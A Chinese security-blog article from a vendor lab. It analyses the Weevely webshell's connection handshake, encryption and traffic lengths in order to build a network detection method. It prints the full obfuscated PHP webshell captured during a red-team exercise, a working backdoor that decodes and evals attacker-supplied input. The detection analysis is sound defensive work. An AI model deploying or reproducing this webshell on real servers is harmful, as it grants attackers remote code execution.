freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

实战Webshell管理工具Weevely检测思路分析
新华三攻防实验室 2023-11-30 09:55:22 209474

Weevely上线阶段分析篇

一、背景

近日,新华三盾山实验室在实战演练防守中发现一次使用Weevely攻击的事件,攻击者使用混淆的webshell绕过了安全设备检测,成功上传了恶意文件并Getshell。通过查看目标主机中的webshell木马文件,发现其混淆程度较高,通过特征不好检测,现通过分析其上线流量方式寻找有效的识别方法。

Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely上线流量分析与识别、Weevely后门文件识别、Weevely加解密方法。

二、客户端源码分析

本段落通过分析Weevely源码,详细介绍Webshell上线交互流量,以及客户端代码实现。

客户端交互认证过程:通过http层通道发送加密信息到服务端,再通过解密服务端回复的信息,从而判断Weevely连接状态是否建立成功,客户端的具体步骤如下:

第一步:Client通过send()函数发送信息。其body字段传输信息形式为:

"t0GP$"Iw`|%yM}:bbb6070c0372HalGcBsTrB7vGn8V/hZM+Kl+4gjmjRAZyxkbcfvsNn4o+/1vBgpTAVVg4owwOS2paOscdfe42fa0db1lpU`}F4|/;_RKd^#。

1701251419_6567095bde32c96fbab03.png!small?1701251424410

1701251428_65670964244d570788816.png!small?1701251432696


第二步:通过代码中utils.sting.sxor()、zlib.compress()、base64.b64encode()加密函数以及channel.send()函数可知,请求中body密文加密字段为 “echo (X);”字样,其中X取值为(11111-99999)的随机数字。通过代码中定义变量可知,POST请求中body字段组成形式如下方所示:

body长度形式为:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)。

以上分析可知:该处可能存在Weevely工具指纹;为了验证猜想,本文进行了深入的分析验证(第四节详细分析)。

1701251473_65670991019a979ccea64.png!small?1701251477662

第三步:Client通过解密函数utils.sting.sxor()、zlib.decompress()、base64.b64decode()对接收服务端响应的body字符串进行解密,并判断字符串是否和send()函数发送到服务端的“X”值相同,从而判断客户端与服务端是否能够成功建立通信。

1701251485_6567099d7ee69d27de016.png!small?1701251490122

三、服务端源码分析

Weevely Webshell文件通过各种混淆字符插入、随机变量名以及str_replace()使用,降低了Webshell的指纹特征。如果仔细观察,会发现Webshell文件存在decode、base64、encode等明显函数,较明显的指纹特征为使用了两次str_replace()函数。

原始混淆的Webshell形式如下:

<?php
$Q='inpF2ut"),$mF2)==1) {@ob_stF2art();@eF2val(F2@gzuncF2omF2press(@x(F2@F2base6F2F24_decode($m[F21]),$k)F2));$o=F2@oF2bF2';
$n='){$F2c=sF2tF2rlen($k)F2;F2$l=strlen($t)F2;$F2F2o="";for(F2$i=0;$iF2<$lF2;){F2for($j=0;($F2j<$c&&$i<$lF2);$j+F2+,$F2i++){';
$y='$o.F2=$F2tF2F2{$i}^$k{$j};}}retF2F2urn $o;}ifF2 (@prF2eg_match("/$kh(.F2+)F2$F2kf/",@file_get_conF2teF2nts(F2F2"php://';
$j='$k="e5F25869F2F2f1";$kh="bbbF2607F20cF2F2F20372";$kf="cdfF2e42fa0db1";$pF2="hF2GF2hCrCVUrXyqix5x";fuF2nctionF2 x($t,$k';
$F='_get_contents(F2);@ob_end_F2cleF2an();$r=@base6F24F2_eF2ncode(@x(@gF2zF2compressF2F2F2($o),$k));print("$pF2$kh$r$kf");}';
$z=str_replace('ia','','criaeatiaiae_fiauniaciation');
$O=str_replace('F2','',$j.$n.$y.$Q.$F);
$v=$z('',$O);$v();
?>

通过代码逻辑可以对混淆的Webshell语句进行还原,还原结果如下图所示:

1701251556_656709e4f0e993b210e92.png!small?1701251561665

四、上线通信编码解码分析

1、请求方向字段解码

1701251571_656709f3ccd0f083a1368.png!small?1701251576335

通过反向加解密得到请求body位置加密内容为:“echo(81232);”,其中“81232” 是随机的数字组合(11111-99999)。根据加密的方法可知:当“X”为5个数字相同组合时,其加密后字符串长度为23个字节;当“X”为前四个数字相同或者后四个数字相同组合时,其加密后字符串长度为24个字节;当“X”为其他情况组合时,其加密后字符串长度均为27个字节。根据固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)可知Content-Length值为:83/80/79,此处证明了之前的猜想是成立的。

1701251579_656709fb860f68a00bb52.png!small?1701251584191

2、响应方向字段解码

接下来再反推响应body位置加密+base64编码后字符串的长度,进一步确认响应方向Content-Length值。

根据加密的方法可知:当“X”为5个数字相同或前4个数字相同组合时,其加密后的字符串长度为16个字节;当“X”为其他情况组合时,其加密后的字符串长度均为20个字节。根据回应方向固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥),得到:Content-Length值为60/56。

可知Weevely交互流量中centent-length对应关系如下:

请求中content-length:83/80 对应响应中content-length: 60

请求中content-length:79 对应响应中content-length: 56

根据下图可以推导出随机“X”字符的加密后长度是固定的。

1701251586_65670a0284744b7ccc32c.png!small?1701251591070

五、Webshell上线报文流量解析

上线流量请求和响应方向特征对比:

1701251595_65670a0b4ba022be276e5.png!small?1701251599902

根据上几节分析可确定Weevely工具特征:

请求body字段为:随机16个字节+12个字节秘钥+echo(X);的加密字符串+12个字节秘钥+16个随机字节。

响应body字段为:随机16个字节+12个字节秘钥(与请求中相同)+请求中X加密字符串+12个字节秘钥(与请求中相同)。

六、防守检测思路

初看通信流量字段信息,好像无法提取检测特征,通过分析一轮之后,通信指纹逐步清晰;因此,可根据本文的分析结果在实际场景应用起来。当存在大量流量报文时,可使用该方法快速的检出Weevely恶意流量,也可在安全检测设备使用该思路检出weevely使用痕迹。该检查思路有利于防守方在攻防演练中高效的判断是否受到Weevely攻击。下面重点介绍该分析的检测逻辑:

1701251604_65670a1460f6f72b63353.png!small?1701251608939

检测流程图

具体描述:

  • 先根据请求content-length值来筛选,并确定请求body特定字段是否符合bash64编码:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
  • 提取请求body部分第17位字节到第28位字节以及提取倒数第17位字节到倒数第28位字节数据:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
  • 确认响应content-length值。
  • 提取响应body部分第17位字节到第28位字节和倒数12位字节的数据:hGhCrCVUrXyqix5xbbb6070c0372HamGCAILUDNlNjo5Nw==cdfe42fa0db1
  • 判断请求body部分中第17位字节到第28位字节和倒数第17位字节到倒数第28位字节与响应body部分提取的第17位字节到第28位字节以及倒数12位字节匹配是否相等。


# 渗透工具 # 网络安全技术
本文为 新华三攻防实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
利器
新华三攻防实验室 LV.6
这家伙太懒了,还未填写个人描述!
  • 50 文章数
  • 108 关注者
警惕!智算中心被瞄准,算力资源在丢失
2024-12-24
RansomHouse频频出击,多行业遭勒索攻击
2024-12-24
进击的银狐,伪装的Chrome
2024-10-21
文章目录